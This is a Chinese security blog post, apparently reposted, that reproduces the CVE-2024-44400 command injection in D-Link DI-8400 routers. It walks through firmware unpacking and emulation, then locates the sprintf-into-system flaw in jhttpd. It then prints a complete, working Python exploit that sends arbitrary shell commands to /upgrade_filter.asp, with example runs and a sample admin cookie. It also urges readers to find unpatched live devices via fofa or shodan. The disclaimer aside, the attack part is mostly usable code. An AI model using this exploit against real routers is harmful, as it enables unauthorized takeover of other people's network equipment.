D-link的漏洞复现

admin 2026-04-22 04:51:06 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档详细复现了D-linkDI-8400路由器的命令注入漏洞(CVE-2024-44400),攻击者通过向/upgrade_filter.asp发送恶意POST请求可执行任意系统命令。作者使用binwalk解包固件、FirmAE仿真环境,并通过IDA分析jhttpd程序定位sprintf+system拼接用户输入导致的注入点。提供了完整的Python利用脚本,建议安全人员通过类似方法检测未修复的同类设备。 综合评分: 86 文章分类: 漏洞分析,WEB安全,渗透测试,红队,安全工具


cover_image

D-link的漏洞复现

搞安全的面具侠 搞安全的面具侠

搞安全的面具侠

2026年4月21日 17:23 北京

在小说阅读器读本章

去阅读

最近忙的有点热火朝天,前阵子一直一直在感受AI工具,在使用openclaw,确实好用,但是搞安全的用它的限制还是挺多的,这不最近就发现随着龙虾的爆火,它存在的漏洞也随之爆出!国家信息安全漏洞共享平台上面最新的漏洞列表,关于openclaw的涨了好多!!!!

光今天一天就提交了好多个,另外未名漏洞的这个我建议大家多测试一下,因为这个漏洞虽然危害级别是中,但是经过身边几个朋友测试发现这个ummmm,可能是审核人不专业吧,这个危害挺高的,是属于一打打一大大大大大大片的那种,嗯,只能说这么多了!!!!

但今天我想给大家说的并不是有关openclaw的漏洞,而是另外一个D-link的漏洞,在4-17时候,也陆续提交了很多有关他的漏洞,评级不低,但都是同一类的漏洞。

而且不知道为啥,他们的漏洞长期存在的都是那么几个,类型也就是哪几类,接下来我拿个老的洞复现一下,并不是溢出,是注入的洞,感兴趣的可以再fofa或者是shodan上面搜一些资产,找来测试一下,绝大部分都是没有修复的。

1-注入命令

2-dl8400产品类

3-描述: 攻击者可通过向目标设备发送恶意构造的 HTTP POST 请求, 在无需有效认证的情况下执行任意系统命令。当请求路径为/upgrade_filter.asp时,该漏洞可被成功触发, 从而对设备安全造成严重威胁。

4-原理拆解:

(1)使用binwalk对固件进行解包

(2)查看系统架构及保护

(3)使用FirmAE仿真,查看启动项

(4)使用IDA分析jhttpd

(5)shift+f12反编译为字符串,根据漏洞描述搜索upgrade_filter.asp

(6)找到upgrade_filter_asp函数

分析代码,存在注入点:

1)sprintf(buf, “wys wget download %s”, parm);

2)system(buf);

3)

  • parm = httpd_get_parm(a1, "path")

    :从 HTTP 请求中取出参数path

  • sprintf

    :把用户可控的path直接拼接进命令行字符串

  • system

    :把拼接结果交给/bin/sh -c <命令> 执行

1. 验证条件

  • 攻击前置条件:登录获取cookie

2. 验证步骤

  • Step1:使用FirmAE进行固件仿真

    命令行里敲下面代码:sudo ./run.sh -d dlink ../fmwares/DI_8400-16.07.26A1.trx

  • Step2:利用poc验证

  • Step3:payload

1) 按 d4.md 默认 payload 复现(写入 /1.txt)

python poc.py -t http://192.168.0.1 –cmd “ls>/1.txt” –cookie “wysLanguage=CN;userid=admin;gw_userid=admin,gw_passwd=F499CB5B7A1156B90910F2EE55A10A99”

2) 自定义命令(示例:创建标记文件)

python poc.py -t http://192.168.0.1 –cmd “echo pwned>/tmp/pwned” –cookie “…”

以下代码直接附在python里面:

!/usr/bin/env python3

-*- coding: utf-8 -*-

import argparse

import sys

import requests

def build_payload(cmd: str) -> dict:

    # 与 d4.md 一致:time + path,其中 path 走反引号命令替换

    return {

        “time”: “acf”,

        “path”: f”{cmd}“,

    }

def main():

    p = argparse.ArgumentParser(description=”CVE-2024-44400 DI-8400 /upgrade_filter.asp Command Injection Payload”)

    p.add_argument(“-t”, “–target”, default=”http://192.168.0.1″, help=”Target base URL, e.g. http://192.168.0.1″)

    p.add_argument(“–path”, default=”/upgrade_filter.asp”, help=”Vulnerable path”)

    p.add_argument(“-c”, “–cmd”, default=”ls>/1.txt”, help=”Command to execute (inside backticks)”)

    p.add_argument(“–cookie”, default=””, help=”Cookie header value (raw), e.g. ‘wysLanguage=CN; userid=admin; …'”)

    p.add_argument(“–timeout”, type=int, default=10, help=”HTTP timeout seconds”)

    args = p.parse_args()

    base = args.target.rstrip(“/”)

    url = base + args.path

    headers = {

        “User-Agent”: “Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:143.0) Gecko/20100101 Firefox/143.0”,

        “Accept”: “text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8”,

        “Accept-Language”: “zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2”,

        “Accept-Encoding”: “gzip, deflate”,

        “Connection”: “close”,

        “Upgrade-Insecure-Requests”: “1”,

        “Priority”: “u=0, i”,

        “Content-Type”: “application/x-www-form-urlencoded”,

    }

    if args.cookie:

        headers[“Cookie”] = args.cookie

    data = build_payload(args.cmd)

    try:

        r = requests.post(url, headers=headers, data=data, timeout=args.timeout, allow_redirects=False)

        print(f”[+] POST {url}”)

        print(f”[+] Status: {r.status_code}”)

        print(“[+] Response (first 500 chars):”)

        print(r.text[:500])

    except requests.RequestException as e:

        print(f”[-] Request failed: {e}”, file=sys.stderr)

        return 1

    return 0

if __name__ == “__main__”:

    raise SystemExit(main())


以上结束,可以照着这样的方式去找别的漏洞测试一下。。。。。。。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:搞安全的面具侠 搞安全的面具侠 搞安全的面具侠《D-link的漏洞复现》

评论:0   参与:  0